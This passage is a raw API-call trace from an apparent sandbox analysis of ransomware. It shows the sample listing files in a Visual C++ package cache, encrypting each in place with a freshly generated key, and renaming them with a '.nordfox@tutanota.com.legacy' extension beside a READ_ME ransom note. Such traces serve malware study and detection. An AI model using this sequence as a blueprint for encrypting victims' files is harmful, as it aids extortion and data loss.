[0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0142.436] GetLastError () returned 0x0 [0142.436] SetLastError (dwErrCode=0x0) [0142.436] GetLastError () returned 0x0 [0142.436] SetLastError (dwErrCode=0x0) [0142.436] GetLastError () returned 0x0 [0142.437] SetLastError (dwErrCode=0x0) [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60ca58 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ca58 | out: hHeap=0x520000) returned 1 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0142.437] FindNextFileW (in: hFindFile=0x60c758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0142.437] GetLastError () returned 0x0 [0142.437] SetLastError (dwErrCode=0x0) [0142.438] GetLastError () returned 0x0 [0142.438] SetLastError (dwErrCode=0x0) [0142.438] GetLastError () returned 0x0 [0142.438] SetLastError (dwErrCode=0x0) [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c858 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c858 | out: hHeap=0x520000) returned 1 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0142.438] FindNextFileW (in: hFindFile=0x60c758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0142.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0142.438] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.439] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.439] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0142.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0142.439] FindNextFileW (in: hFindFile=0x60c758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1274c0d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1274c0d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0142.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0142.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0142.439] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.439] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.439] GetLastError () returned 0x0 [0142.439] SetLastError (dwErrCode=0x0) [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0142.440] FindNextFileW (in: hFindFile=0x60c758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0142.440] GetLastError () returned 0x0 [0142.440] SetLastError (dwErrCode=0x0) [0142.440] GetLastError () returned 0x0 [0142.440] SetLastError (dwErrCode=0x0) [0142.440] GetLastError () returned 0x0 [0142.440] SetLastError (dwErrCode=0x0) [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0142.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0142.440] FindNextFileW (in: hFindFile=0x60c758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0142.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0142.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0142.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0142.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0142.441] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0142.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0142.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0142.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0142.441] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0142.442] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=147456) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24000) returned 0x2f40858 [0142.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24000) returned 0x2e81f40 [0142.444] ReadFile (in: hFile=0x7b0, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x24000, lpOverlapped=0x0) returned 1 [0142.468] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=-147456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.469] WriteFile (in: hFile=0x7b0, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x24000, lpOverlapped=0x0) returned 1 [0142.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0142.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0142.472] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x24000 [0142.472] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0142.472] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0142.473] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0142.474] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0142.474] CloseHandle (hObject=0x7b0) returned 1 [0142.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0142.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0142.474] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0142.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0142.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0142.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0142.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0142.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0142.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0142.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0142.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0142.476] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0142.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0142.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0142.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0142.477] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0142.477] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1292987) returned 1 [0142.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13babb) returned 0x3125020 [0142.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13babb) returned 0x3270020 [0142.484] ReadFile (in: hFile=0x7b0, lpBuffer=0x3125020, nNumberOfBytesToRead=0x13babb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3125020*, lpNumberOfBytesRead=0x2e1f9bc*=0x13babb, lpOverlapped=0x0) returned 1 [0142.572] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=-1292987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.572] WriteFile (in: hFile=0x7b0, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x13babb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13babb, lpOverlapped=0x0) returned 1 [0142.578] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3125020 | out: hHeap=0x520000) returned 1 [0142.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x520000) returned 1 [0142.589] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13babb [0142.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0142.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0142.589] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0142.589] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0142.589] CloseHandle (hObject=0x7b0) returned 1 [0142.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0142.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0142.590] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0142.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a898 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a7a0 | out: hHeap=0x520000) returned 1 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a1d0 | out: hHeap=0x520000) returned 1 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0142.616] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c518 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0142.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0142.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0142.616] GetLastError () returned 0x0 [0142.616] SetLastError (dwErrCode=0x0) [0142.617] GetLastError () returned 0x0 [0142.617] SetLastError (dwErrCode=0x0) [0142.617] GetLastError () returned 0x0 [0142.617] SetLastError (dwErrCode=0x0) [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c658 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c658 | out: hHeap=0x520000) returned 1 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0142.617] FindNextFileW (in: hFindFile=0x60c518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0142.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0142.617] GetLastError () returned 0x0 [0142.617] SetLastError (dwErrCode=0x0) [0142.617] GetLastError () returned 0x0 [0142.618] SetLastError (dwErrCode=0x0) [0142.618] GetLastError () returned 0x0 [0142.618] SetLastError (dwErrCode=0x0) [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 